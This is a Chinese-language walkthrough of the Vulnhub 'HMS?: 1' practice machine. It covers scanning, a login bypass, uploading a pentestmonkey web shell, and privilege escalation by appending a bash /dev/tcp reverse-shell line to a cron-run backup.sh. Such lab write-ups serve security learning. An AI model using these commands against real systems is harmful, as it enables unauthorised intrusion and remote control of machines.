Vulnhub 靶场 HMS?: 1

Vulnhub 靶场 HMS?: 1

前期准备：

靶机地址：https://www.vulnhub.com/entry/hms-1,728/

攻击机ip：192.168.147.190

靶机ip：192.168.147.212

一、信息收集

1、arp-scan -l 扫描全网段存活服务器。



2、nmap对目标机器进行扫描。



发现开启21、22、7080等端口。

3、21端口



4、7080端口



发现是个邮件表单。

二、漏洞利用

1、尝试利用万能密码登陆，避免前端页面验证，F12将type类型删除。



万能密码成功登陆系统





查看源码发现上传地址。



还在源码发现setting.php，右下角可对文件进行上传。

从 pentenstmonkey 复制了一个 webshell 上传并监听，上传成功后访问之前发现的文件上传目录：



靶机设置监听



python写入交互式shell。

三、提权

查看一下有几个用户。



发现有eren、nivek两个用户，查看有哪些可执行文件

find / -perm -4000 -type f 2>/dev/null

发现/usr/bin/bash可执行，我们可以切换用户。



成功切换到eren用户，查看可执行文件发现查看不了，查看是否有定时文件。



发现backup.sh每5分钟运行一次。



利用定时任务来反弹shell，提取权限，像backup.sh写入shell。

echo "bash -i >& /dev/tcp/192.168.147.190/1235 0>&1" >> backup.sh

靶机设置监听，等待一会成功获取shell。

查看权限sudo -l，发现可以用tar提权。